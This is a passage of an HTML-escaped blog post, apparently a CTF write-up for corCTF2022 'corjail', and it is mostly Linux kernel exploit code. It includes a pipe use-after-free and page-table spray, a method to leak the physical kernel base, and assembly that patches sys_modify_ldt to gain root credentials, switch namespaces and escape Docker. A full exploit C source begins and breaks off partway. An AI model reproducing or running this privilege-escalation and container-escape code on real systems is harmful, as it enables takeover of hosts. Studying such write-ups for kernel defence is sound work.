&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mmap&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)(MMAP_SPRAT_START_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; MMAP_SPRAT_STEP),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        MMAP_SPRAT_SIZE, PROT_READ &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; PROT_WRITE,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        MAP_ANONYMOUS &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; MAP_SHARED, &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; MAP_FAILED) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fatal&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mmap&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;sched_yield&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close_pipe_at&lt;/span&gt;(victim_pipe_fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]); &lt;span style=&#34;color:#75715e&#34;&gt;// Make UAF page
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; j &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; j &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAT_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; MMAP_PAGE_SIZE; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;j) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)(mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; MMAP_PAGE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; j);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; val &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ((&lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt;)i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; j &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x01010101&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; val;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Why this does not work..?? I don&amp;rsquo;t know but the below code works&amp;hellip;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mmap&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)(MMAP_SPRAT_START_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; MMAP_SPRAT_STEP),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        MMAP_SPRAT_SIZE, PROT_READ &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; PROT_WRITE,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        MAP_ANONYMOUS &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; MAP_SHARED, &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; MAP_FAILED) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fatal&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mmap&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;sched_yield&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close_pipe_at&lt;/span&gt;(victim_pipe_fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]);  &lt;span style=&#34;color:#75715e&#34;&gt;// Make UAF page
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; FILE_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  file_fds[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, O_RDONLY);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (file_fds[i] &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fatal&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;open&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; FILE_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(file_fds[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; j &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; j &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAT_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; MMAP_PAGE_SIZE; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;j) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)(mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; MMAP_PAGE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; j);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; val &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ((&lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt;)i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; j &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x01010101&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; val;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Any way using above code, we can modify PTEs for &lt;code&gt;mmap&lt;/code&gt;ed memory via &lt;code&gt;pipe&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;leak-physical-kernel-base&#34;&gt;Leak physical kernel base&lt;/h4&gt;
&lt;p&gt;Each PTE has its own flags and PFN(Page Frame Number; it&amp;rsquo;s just &lt;code&gt;&amp;lt;physical address&amp;gt; &amp;gt;&amp;gt; 12&lt;/code&gt;).
And thus we can arbitrary read and write physical memory with modified PTE.&lt;/p&gt;
&lt;p&gt;So our approach is patch kernel code to escape docker and We need to know physical kernel base address for that.
The linux loads kernel at different physical memory.
But there is a way to leak it: dmabuf at &lt;code&gt;PA:0x9c000&lt;/code&gt; (I don&amp;rsquo;t know what is it and why there is it..).
The physical kernel base will be &lt;code&gt;*( *(uint64_t*)(PA:0x9c000)&amp;amp;(~0xfff) - 0x2004000ULL)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;PS. If KASLR is disabled, physical kernel base will be &lt;code&gt;*( *(uint64_t*)(PA:0x9c000)&amp;amp;(~0xfff) - 0x2001000ULL)&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;patch-sys_modify_ldthttpselixirbootlincomlinuxv510127sourcearchx86kernelldtcl659&#34;&gt;Patch &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/arch/x86/kernel/ldt.c#L659&#34;&gt;sys_modify_ldt&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Now we can patch kernel&amp;rsquo;s code. So I patch &lt;code&gt;modify_ldt&lt;/code&gt; syscall and call it.&lt;/p&gt;
&lt;p&gt;The patched &lt;code&gt;modify_ldt&lt;/code&gt; will be follwoing:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;183976425&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;183976425&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-escape_docker.asm&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Compiled using https://defuse.ca/online-x86-assembler.htm
// We need `endbr64` if CFI is enabled (check out https://en.wikipedia.org/wiki/Control-flow_integrity and https://en.wikipedia.org/wiki/Indirect_branch_tracking)
call get_rip;
get_rip:
  pop r15;
  sub r15, 0x252f0; // &amp;amp;__x64_sys_modify_ldt - kbase == 0x252f0
  sub r15, 5; // call get_rip; takes 5 bytes

  // call commit_creds(&amp;amp;init_cred);
  lea rdi, [r15 + 0x145a960]; // &amp;amp;init_cred - kbase == 0x145a960
  lea rax, [r15 + 0xeba40]; // &amp;amp;commit_creds - kbase == 0xeba40
  call rax;

  // task = find_task_by_vpid(1);
  // call switch_task_namespaces(task, &amp;amp;init_nsproxy);
  mov rdi, 1;
  lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
  call rax; // find_task_by_vpid(1)
  mov rdi, rax; // task
  lea rsi, [r15 + 0x145a720]; // &amp;amp;init_nsproxy - kbase == 0x145a720
  lea rax, [r15 + 0xea4e0]; // &amp;amp;switch_task_namespaces - kbase == 0xea4e0
  call rax; // switch_task_namespaces(task, &amp;amp;init_nsproxy);

  // current = find_task_by_vpid(pid);
  // current-&amp;gt;fs = copy_fs_struct(&amp;amp;init_fs);
  lea rdi, [r15 + 0x1589740]; // &amp;amp;init_fs - kbase == 0x1589740
  lea rax, [r15 + 0x2e7350]; // &amp;amp;copy_fs_struct - kbase == 0x2e7350
  call rax; // copy_fs_struct(&amp;amp;init_fs);
  mov rbx, rax; // new_fs
  mov rdi, 0x1111111111111111; // pid: will be fiexed
  lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
  call rax; // current = find_task_by_vpid(pid)
  mov [rax + 0x6e0], rbx; // current-&amp;gt;fs = new_fs

  // bypass kpti
  xor rax, rax;
  mov [rsp + 0x00], rax;
  mov [rsp + 0x08], rax;
  mov rax, 0x2222222222222222; // user_ip: will be fixed
  mov [rsp + 0x10], rax;
  mov rax, 0x3333333333333333; // user_cs: will be fixed
  mov [rsp + 0x18], rax;
  mov rax, 0x4444444444444444; // user_rflags: will be fixed
  mov [rsp + 0x20], rax;
  mov rax, 0x5555555555555555; // user_sp: will be fixed
  mov [rsp + 0x28], rax;
  mov rax, 0x6666666666666666; // user_ss: will be fixed
  mov [rsp + 0x30], rax;
  lea rax, [r15 + 0xc00f06]; // bypass_kpti - kbase == 0xc00f06; bypass_kpti is in swapgs_restore_regs_and_return_to_usermode
  jmp rax; // bypass_kpti&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;184976253&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;184976253&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/keyctl.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/wait.h&amp;gt;
#include &amp;lt;syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt; KERNEL_BASE_END)

#define _PAGE_PRESENT (1ULL &amp;lt;&amp;lt; 0)  // Page is present in memory
#define _PAGE_RW (1ULL &amp;lt;&amp;lt; 1)       // Read/Write permission (1: writable)
#define _PAGE_USER (1ULL &amp;lt;&amp;lt; 2)     // User/Supervisor mode (1: user-accessible)
#define _PAGE_PWT (1ULL &amp;lt;&amp;lt; 3)  // Page Write-Through (1: write-through enabled)
#define _PAGE_PCD (1ULL &amp;lt;&amp;lt; 4)  // Page Cache Disable (1: caching disabled)
#define _PAGE_ACCESSED (1ULL &amp;lt;&amp;lt; 5)  // Accessed bit (1: page has been accessed)
#define _PAGE_DIRTY (1ULL &amp;lt;&amp;lt; 6)     // Dirty bit (1: page has been modified)
#define _PAGE_PSE \
  (1ULL &amp;lt;&amp;lt; 7)  // Page Size Extension (1: 2MB/1GB page, 0: 4KB page)
#define _PAGE_GLOBAL \
  (1ULL &amp;lt;&amp;lt; 8)  // Global page (1: remains in TLB across context switches)
#define _PAGE_NX (1ULL &amp;lt;&amp;lt; 63)  // No-Execute bit (1: execution is prohibited)

#define PTE_FLAGS_MASK \
  0xFFF0000000000FFFULL  // Mask to extract the lower 12-bit flag field
#define PTE_PFN_MASK \
  (~PTE_FLAGS_MASK)  // Mask to extract the PFN (Page Frame Number)

// Macro to extract the PFN from a PTE
#define PTE_TO_PFN(pte) (((pte) &amp;amp; PTE_PFN_MASK) &amp;gt;&amp;gt; PAGE_SHIFT)

#define PAGE_DEFAULT_FLAGS \
  (_PAGE_PRESENT | _PAGE_RW | _PAGE_USER | _PAGE_ACCESSED)

// Cache utils from https://github.com/isec-tugraz/SLUBStick
#ifndef HIDEMINMAX
#define MAX(X, Y) (((X) &amp;gt; (Y)) ? (X) : (Y))
#define MIN(X, Y) (((X) &amp;lt; (Y)) ? (X) : (Y))
#endif

static size_t rdtsc(void);
static inline size_t rdtsc_nofence(void) {
  return rdtsc();
  size_t a, d;
  asm volatile(&amp;#34;rdtsc&amp;#34; : &amp;#34;=a&amp;#34;(a), &amp;#34;=d&amp;#34;(d));
  a = (d &amp;lt;&amp;lt; 32) | a;
  return a;
}

static inline size_t rdtsc(void) {
  size_t a, d;
  asm volatile(&amp;#34;mfence&amp;#34;);
  asm volatile(&amp;#34;rdtsc&amp;#34; : &amp;#34;=a&amp;#34;(a), &amp;#34;=d&amp;#34;(d));
  a = (d &amp;lt;&amp;lt; 32) | a;
  asm volatile(&amp;#34;mfence&amp;#34;);
  return a;
}

static inline size_t rdtsc_begin(void) {
  size_t a, d;
  asm volatile(&amp;#34;mfence&amp;#34;);
  asm volatile(&amp;#34;rdtsc&amp;#34; : &amp;#34;=a&amp;#34;(a), &amp;#34;=d&amp;#34;(d));
  a = (d &amp;lt;&amp;lt; 32) | a;
  asm volatile(&amp;#34;lfence&amp;#34;);
  return a;
}

static inline size_t rdtsc_end(void) {
  size_t a, d;
  asm volatile(&amp;#34;lfence&amp;#34;);
  asm volatile(&amp;#34;rdtsc&amp;#34; : &amp;#34;=a&amp;#34;(a), &amp;#34;=d&amp;#34;(d));
  a = (d &amp;lt;&amp;lt; 32) | a;
  asm volatile(&amp;#34;mfence&amp;#34;);
  return a;
}

void pin_to_core(size_t core);

static void get_enter_to_continue(const char *msg);
static void fatal(const char *msg);

void pin_to_core(size_t core) {
  cpu_set_t target_cpu;

  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(core, &amp;amp;target_cpu);

  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
}

static void get_enter_to_continue(const char *msg) {
  puts(msg);
  getchar();
}
static void fatal(const char *msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

/**
 * type must be &amp;#34;keyring&amp;#34;, &amp;#34;user&amp;#34;, &amp;#34;logon&amp;#34;, or &amp;#34;big_key&amp;#34;
 */
static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid);
static int32_t sys_keyctl(int cmd, ...);
static int32_t sys_revoke_key(int32_t key);
static int32_t sys_update_key(int32_t key, void *payload, size_t size);
static int32_t sys_read_key(int32_t key, char *buf, size_t size);

static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid) {
  return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
static int32_t sys_keyctl(int cmd, ...) {
  va_list ap;
  long arg2, arg3, arg4, arg5;
  va_start(ap, cmd);
  arg2 = va_arg(ap, long);
  arg3 = va_arg(ap, long);
  arg4 = va_arg(ap, long);
  arg5 = va_arg(ap, long);
  va_end(ap);
  return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
static int32_t sys_revoke_key(int32_t key) {
  return sys_keyctl(KEYCTL_REVOKE, key);
}
static int32_t sys_read_key(int32_t key, char *buf, size_t size) {
  return sys_keyctl(KEYCTL_READ, key, buf, size);
}
static int32_t sys_update_key(int32_t key, void *payload, size_t size) {
  return sys_keyctl(KEYCTL_UPDATE, key, payload, size);
}

int vuln_fd;
static void off_by_one_in_kmalloc_4k(void);

static void off_by_one_in_kmalloc_4k(void) {
  char buf[0x1000];
  memset(buf, 0, 0x1000);
  write(vuln_fd, buf, 0x1000);
}

#define HEAP_ALLOC_COUNT 1000
int pipe_fds[HEAP_ALLOC_COUNT][2];
int alloc_4k_pipe_at(uint64_t idx) {
  const size_t pipe_size = 0x1000 * 64;
  int *fds = pipe_fds[idx];
  int res = pipe(fds);
  res |= (fcntl(fds[1], F_SETPIPE_SZ, pipe_size) &amp;lt; 0);

  char *uniguri = &amp;#34;UNIGURI@&amp;#34;;
  const uint64_t pipe_magic = 0xdeadbeef00000000 + idx;
  write(fds[1], uniguri, 8);
  write(fds[1], &amp;amp;pipe_magic, 8);

  return !res ? 0 : -1;
}

void close_pipe_at(size_t idx) {
  for (int i = 0; i &amp;lt; 2; ++i) {
    if (pipe_fds[idx][i] &amp;gt; 2) {
      close(pipe_fds[idx][i]);
